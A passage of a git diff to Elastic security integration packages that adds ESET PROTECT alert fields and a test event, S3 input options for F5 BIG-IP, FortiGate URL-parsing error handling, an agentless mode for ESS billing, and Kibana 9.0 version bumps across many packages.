+{"event_type":"ESET Inspect Alert","ipv4":"10.0.0.47","ipv6":"","hostname":"wsu-pf3r12l5","source_uuid":"08764ed7-7480-482a-8eaa-da8e2084fe22","os_name":"Microsoft Windows 11 Business","occured":"25-Feb-2025 13:57:46","group_name":"All","group_description":"","severity":"Information","processname":"%SYSTEM%\\taskkill.exe","username":"nt authority\\local service","rulename":"Processes killing from command line [B0401]","count":"1","eiconsolelink":"https://inspect.eset.com:443/console/detection/993374","resolved":"","hash":"912DC85EAFCE7FC20247715ADC5ACB4C43555BC8","computer_severity_score":"20","severity_score":"34","trigger_event":"%SYSTEM%\\cmd.exe","command_line":"/PID 21288 /F","detection_uuid":"3f3f5a5a-87de-49f2-adaf-e2158d8666a7"}
diff --git a/packages/eset_protect/data_stream/event/_dev/test/pipeline/test-event.log-expected.json b/packages/eset_protect/data_stream/event/_dev/test/pipeline/test-event.log-expected.json
index 5f00d7d9a89..71339468c12 100644
--- a/packages/eset_protect/data_stream/event/_dev/test/pipeline/test-event.log-expected.json
+++ b/packages/eset_protect/data_stream/event/_dev/test/pipeline/test-event.log-expected.json
@@ -2272,6 +2272,88 @@
"domain": "KATE-EBADEMO",
"name": "Kate"
}
+ },
+ {
+ "@timestamp": "2025-02-25T13:57:46.000Z",
+ "ecs": {
+ "version": "8.11.0"
+ },
+ "eset_protect": {
+ "event": {
+ "command_line": "/PID 21288 /F",
+ "computer_severity_score": 20,
+ "count": 1,
+ "detection_uuid": "3f3f5a5a-87de-49f2-adaf-e2158d8666a7",
+ "eiconsolelink": "https://inspect.eset.com:443/console/detection/993374",
+ "group_name": "All",
+ "hash": "912DC85EAFCE7FC20247715ADC5ACB4C43555BC8",
+ "hostname": "wsu-pf3r12l5",
+ "ipv4": "10.0.0.47",
+ "is_handled": false,
+ "occured": "2025-02-25T13:57:46.000Z",
+ "os_name": "Microsoft Windows 11 Business",
+ "processname": "%SYSTEM%\\taskkill.exe",
+ "rulename": "Processes killing from command line [B0401]",
+ "severity": "Information",
+ "severity_score": 34,
+ "source_uuid": "08764ed7-7480-482a-8eaa-da8e2084fe22",
+ "trigger_event": "%SYSTEM%\\cmd.exe",
+ "type": "ESET Inspect Alert",
+ "username": "nt authority\\local service"
+ }
+ },
+ "event": {
+ "kind": "alert",
+ "original": "{\"event_type\":\"ESET Inspect Alert\",\"ipv4\":\"10.0.0.47\",\"ipv6\":\"\",\"hostname\":\"wsu-pf3r12l5\",\"source_uuid\":\"08764ed7-7480-482a-8eaa-da8e2084fe22\",\"os_name\":\"Microsoft Windows 11 Business\",\"occured\":\"25-Feb-2025 13:57:46\",\"group_name\":\"All\",\"group_description\":\"\",\"severity\":\"Information\",\"processname\":\"%SYSTEM%\\\\taskkill.exe\",\"username\":\"nt authority\\\\local service\",\"rulename\":\"Processes killing from command line [B0401]\",\"count\":\"1\",\"eiconsolelink\":\"https://inspect.eset.com:443/console/detection/993374\",\"resolved\":\"\",\"hash\":\"912DC85EAFCE7FC20247715ADC5ACB4C43555BC8\",\"computer_severity_score\":\"20\",\"severity_score\":\"34\",\"trigger_event\":\"%SYSTEM%\\\\cmd.exe\",\"command_line\":\"/PID 21288 /F\",\"detection_uuid\":\"3f3f5a5a-87de-49f2-adaf-e2158d8666a7\"}",
+ "reference": "https://inspect.eset.com:443/console/detection/993374",
+ "severity": 34,
+ "type": [
+ "info"
+ ]
+ },
+ "group": {
+ "name": "All"
+ },
+ "host": {
+ "hostname": "wsu-pf3r12l5",
+ "id": "08764ed7-7480-482a-8eaa-da8e2084fe22",
+ "ip": [
+ "10.0.0.47"
+ ],
+ "name": "wsu-pf3r12l5",
+ "os": {
+ "name": "Microsoft Windows 11 Business"
+ }
+ },
+ "process": {
+ "executable": "%SYSTEM%\\taskkill.exe",
+ "name": "taskkill.exe"
+ },
+ "related": {
+ "hash": [
+ "912dc85eafce7fc20247715adc5acb4c43555bc8"
+ ],
+ "hosts": [
+ "wsu-pf3r12l5",
+ "08764ed7-7480-482a-8eaa-da8e2084fe22"
+ ],
+ "ip": [
+ "10.0.0.47"
+ ],
+ "user": [
+ "nt authority\\local service"
+ ]
+ },
+ "rule": {
+ "name": "Processes killing from command line [B0401]"
+ },
+ "tags": [
+ "preserve_original_event",
+ "preserve_duplicate_custom_fields"
+ ],
+ "user": {
+ "name": "nt authority\\local service"
+ }
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/eset_protect/data_stream/event/elasticsearch/ingest_pipeline/default.yml b/packages/eset_protect/data_stream/event/elasticsearch/ingest_pipeline/default.yml
index de5122c0f4c..0346b656675 100644
--- a/packages/eset_protect/data_stream/event/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/eset_protect/data_stream/event/elasticsearch/ingest_pipeline/default.yml
@@ -385,6 +385,16 @@ processors:
tag: rename_event
target_field: eset_protect.event.name
ignore_missing: true
+ - rename:
+ field: json.trigger_event
+ tag: rename_trigger_event
+ target_field: eset_protect.event.trigger_event
+ ignore_missing: true
+ - rename:
+ field: json.detection_uuid
+ tag: rename_detection_uuid
+ target_field: eset_protect.event.detection_uuid
+ ignore_missing: true
- set:
field: message
tag: set_message_from_event_name
@@ -527,6 +537,11 @@ processors:
tag: set_process_executable_from_event_processname
copy_from: eset_protect.event.processname
ignore_empty_value: true
+ - rename:
+ field: json.command_line
+ tag: rename_command_line
+ target_field: eset_protect.event.command_line
+ ignore_missing: true
- grok:
field: eset_protect.event.processname
tag: grok_processname
diff --git a/packages/eset_protect/data_stream/event/fields/fields.yml b/packages/eset_protect/data_stream/event/fields/fields.yml
index ddd7ea147cc..2d18712c5e7 100644
--- a/packages/eset_protect/data_stream/event/fields/fields.yml
+++ b/packages/eset_protect/data_stream/event/fields/fields.yml
@@ -30,6 +30,9 @@
- name: computer_severity_score
type: long
description: Computer severity score associated with the event.
+ - name: command_line
+ type: keyword
+ description: Command line of process which triggered detection.
- name: count
type: long
description: Number of alerts of this type generated since last alarm.
@@ -39,6 +42,9 @@
- name: detail
type: keyword
description: Detailed description of the action.
+ - name: detection_uuid
+ type: keyword
+ description: A detection's unique identifier can be used to query details via ESET CONNECT API.
- name: domain
type: keyword
description: Audit log domain.
@@ -165,6 +171,9 @@
- name: threat_type
type: keyword
description: Type of detection.
+ - name: trigger_event
+ type: keyword
+ description: Description of event which triggered detection.
- name: type
type: keyword
description: Type of exported events.
diff --git a/packages/eset_protect/docs/README.md b/packages/eset_protect/docs/README.md
index 8b19005369b..fad72ef8890 100644
--- a/packages/eset_protect/docs/README.md
+++ b/packages/eset_protect/docs/README.md
@@ -570,10 +570,12 @@ An example event for `event` looks as following:
| eset_protect.event.application | Application name associated with the event. | keyword |
| eset_protect.event.cause | | keyword |
| eset_protect.event.circumstances | Short description of what caused the event. | keyword |
+| eset_protect.event.command_line | Command line of process which triggered detection. | keyword |
| eset_protect.event.computer_severity_score | Computer severity score associated with the event. | long |
| eset_protect.event.count | Number of alerts of this type generated since last alarm. | long |
| eset_protect.event.description | Description of the blocked file. | keyword |
| eset_protect.event.detail | Detailed description of the action. | keyword |
+| eset_protect.event.detection_uuid | A detection's unique identifier can be used to query details via ESET CONNECT API. | keyword |
| eset_protect.event.domain | Audit log domain. | keyword |
| eset_protect.event.eialarmid | ID sub-part of the alarm link ($1 in ^http.\*/alarm/([0-9]+)$). | keyword |
| eset_protect.event.eiconsolelink | Link to the alarm in ESET Inspect console. | keyword |
@@ -616,6 +618,7 @@ An example event for `event` looks as following:
| eset_protect.event.threat_handled | Indicates whether or not the detection was handled. | boolean |
| eset_protect.event.threat_name | Name of the detection. | keyword |
| eset_protect.event.threat_type | Type of detection. | keyword |
+| eset_protect.event.trigger_event | Description of event which triggered detection. | keyword |
| eset_protect.event.type | Type of exported events. | keyword |
| eset_protect.event.username | Name of the user account associated with the event. | keyword |
| event.dataset | Event dataset. | constant_keyword |
diff --git a/packages/eset_protect/manifest.yml b/packages/eset_protect/manifest.yml
index 4fdd2bdd804..25ccbf9ab12 100644
--- a/packages/eset_protect/manifest.yml
+++ b/packages/eset_protect/manifest.yml
@@ -1,14 +1,14 @@
format_version: 3.0.3
name: eset_protect
title: ESET PROTECT
-version: "1.5.1"
+version: "1.6.1"
description: Collect logs from ESET PROTECT with Elastic Agent.
type: integration
categories:
- security
conditions:
kibana:
- version: ^8.13.0
+ version: "^8.13.0 || ^9.0.0"
elastic:
subscription: basic
icons:
diff --git a/packages/ess_billing/_dev/build/docs/README.md b/packages/ess_billing/_dev/build/docs/README.md
index 978b46ffb3c..473a5d7bc00 100644
--- a/packages/ess_billing/_dev/build/docs/README.md
+++ b/packages/ess_billing/_dev/build/docs/README.md
@@ -29,6 +29,8 @@ For private cloud, or admin users, the cloud endpoint can be altered to match yo
For step-by-step instructions on how to set up an integration, see the
[Getting started](https://www.elastic.co/guide/en/starting-with-the-elasticsearch-platform-and-its-solutions/current/getting-started-observability.html) guide.
+If you run in the cloud (Cloud Hosted of Serverless), this integration is available [agentless](https://www.elastic.co/guide/en/serverless/current/security-agentless-integrations.html) from cluster version 8.17 onward - if this criteria is met, you don't need to install an Elastic Agent to gather these metrics.
+
## Data streams reference
### `metrics-ess_billing.billing` data stream
diff --git a/packages/ess_billing/changelog.yml b/packages/ess_billing/changelog.yml
index 7c14eb666e3..0867ffd8eca 100644
--- a/packages/ess_billing/changelog.yml
+++ b/packages/ess_billing/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.2.0"
+ changes:
+ - description: Added Agentless deployment mode
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12906
- version: "1.1.0"
changes:
- description: Changed credits collection mechanism, fixed stalling issue and fixed duplicate credit count issue
diff --git a/packages/ess_billing/docs/README.md b/packages/ess_billing/docs/README.md
index f8e6f4cee43..bb353f5afd6 100644
--- a/packages/ess_billing/docs/README.md
+++ b/packages/ess_billing/docs/README.md
@@ -29,6 +29,8 @@ For private cloud, or admin users, the cloud endpoint can be altered to match yo
For step-by-step instructions on how to set up an integration, see the
[Getting started](https://www.elastic.co/guide/en/starting-with-the-elasticsearch-platform-and-its-solutions/current/getting-started-observability.html) guide.
+If you run in the cloud (Cloud Hosted of Serverless), this integration is available [agentless](https://www.elastic.co/guide/en/serverless/current/security-agentless-integrations.html) from cluster version 8.17 onward - if this criteria is met, you don't need to install an Elastic Agent to gather these metrics.
+
## Data streams reference
### `metrics-ess_billing.billing` data stream
diff --git a/packages/ess_billing/manifest.yml b/packages/ess_billing/manifest.yml
index d765fa838bc..e76f5737a0b 100644
--- a/packages/ess_billing/manifest.yml
+++ b/packages/ess_billing/manifest.yml
@@ -1,7 +1,7 @@
-format_version: 3.2.2
+format_version: 3.3.2
name: ess_billing
title: "Elasticsearch Service Billing"
-version: 1.1.0
+version: 1.2.0
source:
license: "Elastic-2.0"
description: "Collects billing metrics from Elasticsearch Service billing API"
@@ -31,6 +31,15 @@ policy_templates:
- name: ESS Billing
title: Elasticsearch Service Billing Metrics
description: Collect billing metrics from Elasticsearch Service billing API.
+ deployment_modes:
+ default:
+ enabled: true
+ agentless:
+ enabled: true
+ is_default: true
+ organization: elastic
+ division: field
+ team: csg
inputs:
- type: cel
title: Collect Elasticsearch Service Billing Metrics
diff --git a/packages/f5_bigip/changelog.yml b/packages/f5_bigip/changelog.yml
index a60cf74e109..75422c40997 100644
--- a/packages/f5_bigip/changelog.yml
+++ b/packages/f5_bigip/changelog.yml
@@ -1,4 +1,14 @@
# newer versions go on top
+- version: "1.27.0"
+ changes:
+ - description: Add support to configure start_timestamp and ignore_older configurations for AWS S3 backed inputs.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12645
+- version: "1.26.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.25.1"
changes:
- description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation.
diff --git a/packages/f5_bigip/data_stream/log/agent/stream/aws-s3.yml.hbs b/packages/f5_bigip/data_stream/log/agent/stream/aws-s3.yml.hbs
index 0f374456817..141bd8c7d06 100644
--- a/packages/f5_bigip/data_stream/log/agent/stream/aws-s3.yml.hbs
+++ b/packages/f5_bigip/data_stream/log/agent/stream/aws-s3.yml.hbs
@@ -14,6 +14,12 @@ bucket_list_interval: {{interval}}
{{#if bucket_list_prefix}}
bucket_list_prefix: {{bucket_list_prefix}}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
{{else}}
diff --git a/packages/f5_bigip/data_stream/log/manifest.yml b/packages/f5_bigip/data_stream/log/manifest.yml
index aad44200467..65ef6b5ae44 100644
--- a/packages/f5_bigip/data_stream/log/manifest.yml
+++ b/packages/f5_bigip/data_stream/log/manifest.yml
@@ -85,6 +85,20 @@ streams:
show_user: true
default: 5
description: Number of workers that will process the S3 objects listed.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: visibility_timeout
type: text
title: '[SQS] Visibility Timeout'
diff --git a/packages/f5_bigip/manifest.yml b/packages/f5_bigip/manifest.yml
index 6d607ed88a6..4d2420d4ae8 100644
--- a/packages/f5_bigip/manifest.yml
+++ b/packages/f5_bigip/manifest.yml
@@ -1,14 +1,14 @@
format_version: "3.0.2"
name: f5_bigip
title: F5 BIG-IP
-version: "1.25.1"
+version: "1.27.0"
description: Collect logs from F5 BIG-IP with Elastic Agent.
type: integration
categories:
- security
conditions:
kibana:
- version: "^8.16.2"
+ version: "^8.16.5 || ^9.0.0"
elastic:
subscription: basic
screenshots:
diff --git a/packages/falco/changelog.yml b/packages/falco/changelog.yml
index b5904fe2094..73684bbf72b 100644
--- a/packages/falco/changelog.yml
+++ b/packages/falco/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.3.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.2.1"
changes:
- description: Update links to getting started docs
diff --git a/packages/falco/manifest.yml b/packages/falco/manifest.yml
index b3cefc8bf47..90fa1075127 100644
--- a/packages/falco/manifest.yml
+++ b/packages/falco/manifest.yml
@@ -1,7 +1,7 @@
format_version: 3.1.2
name: falco
title: Falco
-version: 1.2.1
+version: "1.3.0"
description: Collect events and alerts from Falco using Elastic Agent
type: integration
categories:
@@ -11,7 +11,7 @@ categories:
- security
conditions:
kibana:
- version: "^8.13.3"
+ version: "^8.13.3 || ^9.0.0"
elastic:
subscription: "basic"
screenshots:
diff --git a/packages/fireeye/changelog.yml b/packages/fireeye/changelog.yml
index 03f8811722d..b17d57f84a8 100644
--- a/packages/fireeye/changelog.yml
+++ b/packages/fireeye/changelog.yml
@@ -1,3 +1,8 @@
+- version: "1.25.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.24.0"
changes:
- description: Add "preserve_original_event" tag to documents with `event.kind` set to "pipeline_error".
diff --git a/packages/fireeye/manifest.yml b/packages/fireeye/manifest.yml
index f5bffae19e4..aa3676d9807 100644
--- a/packages/fireeye/manifest.yml
+++ b/packages/fireeye/manifest.yml
@@ -1,7 +1,7 @@
format_version: "3.0.3"
name: fireeye
title: "FireEye Network Security"
-version: "1.24.0"
+version: "1.25.0"
description: Collect logs from FireEye NX with Elastic Agent.
type: integration
categories:
@@ -9,7 +9,7 @@ categories:
- security
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
icons:
- src: /img/FireEye-logo.svg
title: Fireeye logo
diff --git a/packages/first_epss/changelog.yml b/packages/first_epss/changelog.yml
index ac7e32b0f72..6ef82fba7c3 100644
--- a/packages/first_epss/changelog.yml
+++ b/packages/first_epss/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "0.4.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "0.3.2"
changes:
- description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation.
diff --git a/packages/first_epss/manifest.yml b/packages/first_epss/manifest.yml
index 49aa6afae85..b11c570c5a7 100644
--- a/packages/first_epss/manifest.yml
+++ b/packages/first_epss/manifest.yml
@@ -1,7 +1,7 @@
format_version: 3.2.1
name: first_epss
title: First EPSS
-version: 0.3.2
+version: "0.4.0"
description: Collect exploit prediction score data from the First EPSS API with Elastic Agent.
type: integration
categories:
@@ -9,7 +9,7 @@ categories:
- vulnerability_management
conditions:
kibana:
- version: "^8.14.0"
+ version: "^8.14.0 || ^9.0.0"
elastic:
subscription: "basic"
screenshots:
diff --git a/packages/forcepoint_web/changelog.yml b/packages/forcepoint_web/changelog.yml
index a352605c145..6c6889d6675 100644
--- a/packages/forcepoint_web/changelog.yml
+++ b/packages/forcepoint_web/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.13.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.12.0"
changes:
- description: Allow the usage of deprecated log input and support for stack 9.0
diff --git a/packages/forcepoint_web/manifest.yml b/packages/forcepoint_web/manifest.yml
index 4dca3f91dca..a6262e92f94 100644
--- a/packages/forcepoint_web/manifest.yml
+++ b/packages/forcepoint_web/manifest.yml
@@ -1,7 +1,7 @@
format_version: "3.0.3"
name: forcepoint_web
title: "Forcepoint Web Security"
-version: "1.12.0"
+version: "1.13.0"
source:
license: "Elastic-2.0"
description: "Forcepoint Web Security"
@@ -11,7 +11,7 @@ categories:
- security
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
elastic:
subscription: "basic"
screenshots:
diff --git a/packages/forgerock/changelog.yml b/packages/forgerock/changelog.yml
index 3c7562a6263..dbc361ee581 100644
--- a/packages/forgerock/changelog.yml
+++ b/packages/forgerock/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.21.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.20.1"
changes:
- description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation.
diff --git a/packages/forgerock/manifest.yml b/packages/forgerock/manifest.yml
index 8b8a89b4142..e9276819543 100644
--- a/packages/forgerock/manifest.yml
+++ b/packages/forgerock/manifest.yml
@@ -1,13 +1,13 @@
name: forgerock
title: "ForgeRock"
-version: "1.20.1"
+version: "1.21.0"
description: Collect audit logs from ForgeRock with Elastic Agent.
type: integration
format_version: "3.0.2"
categories: ["security"]
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
screenshots:
- src: /img/forgerock-dashboard.png
title: ForgeRock Dashboard
diff --git a/packages/fortinet_fortigate/changelog.yml b/packages/fortinet_fortigate/changelog.yml
index 04d2501a852..67b76a4fffa 100644
--- a/packages/fortinet_fortigate/changelog.yml
+++ b/packages/fortinet_fortigate/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.30.0"
+ changes:
+ - description: If url parsing fails, append failure message to error.message.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12895
- version: "1.29.2"
changes:
- description: Updated SSL description to be uniform and to include links to documentation.
diff --git a/packages/fortinet_fortigate/data_stream/log/elasticsearch/ingest_pipeline/event.yml b/packages/fortinet_fortigate/data_stream/log/elasticsearch/ingest_pipeline/event.yml
index f3ce9ac2e51..c1e10e6f576 100644
--- a/packages/fortinet_fortigate/data_stream/log/elasticsearch/ingest_pipeline/event.yml
+++ b/packages/fortinet_fortigate/data_stream/log/elasticsearch/ingest_pipeline/event.yml
@@ -206,6 +206,10 @@ processors:
target_field: url
keep_original: false
if: ctx.fortinet?.firewall?.url != null
+ on_failure:
+ - append:
+ field: error.message
+ value: "url parsing failed with message {{ _ingest.on_failure_message }}"
# Need to do a set, then remove since rename w/ override
# is not supported in 8.3.0
- set:
diff --git a/packages/fortinet_fortigate/data_stream/log/elasticsearch/ingest_pipeline/traffic.yml b/packages/fortinet_fortigate/data_stream/log/elasticsearch/ingest_pipeline/traffic.yml
index 832aef13a64..bb5931ad7fc 100644
--- a/packages/fortinet_fortigate/data_stream/log/elasticsearch/ingest_pipeline/traffic.yml
+++ b/packages/fortinet_fortigate/data_stream/log/elasticsearch/ingest_pipeline/traffic.yml
@@ -220,6 +220,10 @@ processors:
target_field: url
keep_original: false
if: ctx.fortinet?.firewall?.url != null
+ on_failure:
+ - append:
+ field: error.message
+ value: "url parsing failed with message {{ _ingest.on_failure_message }}"
- remove:
field: fortinet.firewall.url
ignore_missing: true
diff --git a/packages/fortinet_fortigate/data_stream/log/elasticsearch/ingest_pipeline/utm.yml b/packages/fortinet_fortigate/data_stream/log/elasticsearch/ingest_pipeline/utm.yml
index 230988cc54c..c139f126680 100644
--- a/packages/fortinet_fortigate/data_stream/log/elasticsearch/ingest_pipeline/utm.yml
+++ b/packages/fortinet_fortigate/data_stream/log/elasticsearch/ingest_pipeline/utm.yml
@@ -285,6 +285,10 @@ processors:
target_field: url
keep_original: false
if: ctx.fortinet?.firewall?.url != null
+ on_failure:
+ - append:
+ field: error.message
+ value: "url parsing failed with message {{ _ingest.on_failure_message }}"
# Need to do a set, then remove since rename w/ override
# is not supported in 8.3.0
- set:
diff --git a/packages/fortinet_fortigate/manifest.yml b/packages/fortinet_fortigate/manifest.yml
index 6d6f8f45073..ebbc7badaf4 100644
--- a/packages/fortinet_fortigate/manifest.yml
+++ b/packages/fortinet_fortigate/manifest.yml
@@ -1,6 +1,6 @@
name: fortinet_fortigate
title: Fortinet FortiGate Firewall Logs
-version: "1.29.2"
+version: "1.30.0"
description: Collect logs from Fortinet FortiGate firewalls with Elastic Agent.
type: integration
format_version: "3.0.3"
diff --git a/packages/gcp_pubsub/changelog.yml b/packages/gcp_pubsub/changelog.yml
index 1408a256a1c..54fd3cbd945 100644
--- a/packages/gcp_pubsub/changelog.yml
+++ b/packages/gcp_pubsub/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "2.2.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "2.1.1"
changes:
- description: Add missing category.
diff --git a/packages/gcp_pubsub/manifest.yml b/packages/gcp_pubsub/manifest.yml
index c7b366595a1..a7f7ef32759 100644
--- a/packages/gcp_pubsub/manifest.yml
+++ b/packages/gcp_pubsub/manifest.yml
@@ -3,7 +3,7 @@ title: Custom Google Pub/Sub Logs
format_version: "3.0.2"
description: Collect Logs from Google Pub/Sub topics
type: input
-version: "2.1.1"
+version: "2.2.0"
icons:
- src: /img/logo_gcp.svg
title: logo gcp
@@ -16,7 +16,7 @@ categories:
- custom
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
policy_templates:
- name: gcp
title: Custom Google Pub/Sub Logs
diff --git a/packages/gigamon/changelog.yml b/packages/gigamon/changelog.yml
index e0022c10a20..a0ddb813aca 100644
--- a/packages/gigamon/changelog.yml
+++ b/packages/gigamon/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.4.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.3.1"
changes:
- description: Fixed hardcoded timestamp in dashboard queries.
diff --git a/packages/gigamon/manifest.yml b/packages/gigamon/manifest.yml
index 9458886c592..b77f599a42a 100644
--- a/packages/gigamon/manifest.yml
+++ b/packages/gigamon/manifest.yml
@@ -1,7 +1,7 @@
format_version: 3.1.3
name: gigamon
title: Gigamon
-version: "1.3.1"
+version: "1.4.0"
description: Collect logs from Gigamon with Elastic Agent.
type: integration
categories:
@@ -11,7 +11,7 @@ categories:
- application_observability
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
elastic:
subscription: "basic"
screenshots:
diff --git a/packages/github/changelog.yml b/packages/github/changelog.yml
index 553356b5022..3c964ea33bb 100644
--- a/packages/github/changelog.yml
+++ b/packages/github/changelog.yml
@@ -1,4 +1,14 @@
# newer versions go on top
+- version: "2.4.1"
+ changes:
+ - description: Add missing ECS field in latest_code_scanning transform.
+ type: bugfix
+ link: http://github.com/elastic/integrations/pull/12841
+- version: "2.4.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "2.3.1"
changes:
- description: Updated SSL description to be uniform and to include links to documentation.
diff --git a/packages/github/elasticsearch/transform/latest_code_scanning/fields/ecs.yml b/packages/github/elasticsearch/transform/latest_code_scanning/fields/ecs.yml
index 8cfb2793292..d3155a2d1cd 100644
--- a/packages/github/elasticsearch/transform/latest_code_scanning/fields/ecs.yml
+++ b/packages/github/elasticsearch/transform/latest_code_scanning/fields/ecs.yml
@@ -38,3 +38,5 @@
name: rule.name
- external: ecs
name: tags
+- external: ecs
+ name: message
diff --git a/packages/github/elasticsearch/transform/latest_code_scanning/transform.yml b/packages/github/elasticsearch/transform/latest_code_scanning/transform.yml
index 06958284992..a46e300f258 100644
--- a/packages/github/elasticsearch/transform/latest_code_scanning/transform.yml
+++ b/packages/github/elasticsearch/transform/latest_code_scanning/transform.yml
@@ -10,7 +10,7 @@ source:
# that ability in order to prevent having duplicate data and prevent query
# time field type conflicts.
dest:
- index: "logs-github_latest.dest_code_scanning-1"
+ index: "logs-github_latest.dest_code_scanning-2"
aliases:
- alias: "logs-github_latest.code_scanning"
move_on_creation: true
@@ -38,5 +38,5 @@ _meta:
managed: false
# Bump this version to delete, reinstall, and restart the transform during
# package installation.
- fleet_transform_version: 1.0.0
+ fleet_transform_version: 1.1.0
run_as_kibana_system: false
diff --git a/packages/github/manifest.yml b/packages/github/manifest.yml
index 2077caa4370..a22f492625d 100644
--- a/packages/github/manifest.yml
+++ b/packages/github/manifest.yml
@@ -1,13 +1,13 @@
name: github
title: GitHub
-version: "2.3.1"
+version: "2.4.1"
description: Collect logs from GitHub with Elastic Agent.
type: integration
format_version: "3.0.2"
categories: [security, "productivity_security"]
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
icons:
- src: /img/github.svg
title: GitHub
diff --git a/packages/gitlab/changelog.yml b/packages/gitlab/changelog.yml
index 42f217c08a9..1097980c944 100644
--- a/packages/gitlab/changelog.yml
+++ b/packages/gitlab/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "2.2.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "2.1.0"
changes:
- description: Add support for log file fingerprint scanner configuration.
diff --git a/packages/gitlab/manifest.yml b/packages/gitlab/manifest.yml
index 633d29e4dd0..4d35d813a8c 100644
--- a/packages/gitlab/manifest.yml
+++ b/packages/gitlab/manifest.yml
@@ -1,7 +1,7 @@
format_version: 3.1.3
name: gitlab
title: GitLab
-version: 2.1.0
+version: "2.2.0"
description: Collect logs from GitLab with Elastic Agent.
type: integration
categories:
@@ -9,7 +9,7 @@ categories:
- productivity_security
conditions:
kibana:
- version: ^8.13.0
+ version: "^8.13.0 || ^9.0.0"
icons:
- src: /img/gitlab-logo.svg
title: gitlab Logo
diff --git a/packages/google_cloud_storage/changelog.yml b/packages/google_cloud_storage/changelog.yml
index 70cea1a2a95..52a54929f69 100644
--- a/packages/google_cloud_storage/changelog.yml
+++ b/packages/google_cloud_storage/changelog.yml
@@ -1,3 +1,8 @@
+- version: "2.2.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "2.1.0"
changes:
- description: ECS version updated to 8.11.0. Removed import_mappings. Update the kibana constraint to ^8.13.0. Modified the field definitions to remove ECS fields made redundant by the ecs@mappings component template.
diff --git a/packages/google_cloud_storage/manifest.yml b/packages/google_cloud_storage/manifest.yml
index ea3b4d4ae83..4346e48b94e 100644
--- a/packages/google_cloud_storage/manifest.yml
+++ b/packages/google_cloud_storage/manifest.yml
@@ -3,10 +3,10 @@ name: google_cloud_storage
title: Custom GCS (Google Cloud Storage) Input
description: Collect JSON data from configured GCS Bucket with Elastic Agent.
type: input
-version: "2.1.0"
+version: "2.2.0"
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
categories:
- custom
- cloud
diff --git a/packages/google_scc/_dev/build/docs/README.md b/packages/google_scc/_dev/build/docs/README.md
index be4bd4ddd8b..02281f77d34 100644
--- a/packages/google_scc/_dev/build/docs/README.md
+++ b/packages/google_scc/_dev/build/docs/README.md
@@ -24,30 +24,34 @@ This module has been tested against the latest Google SCC API version **v1**.
## Requirements
-- Elastic Agent must be installed.
+### Agentless Enabled Integration
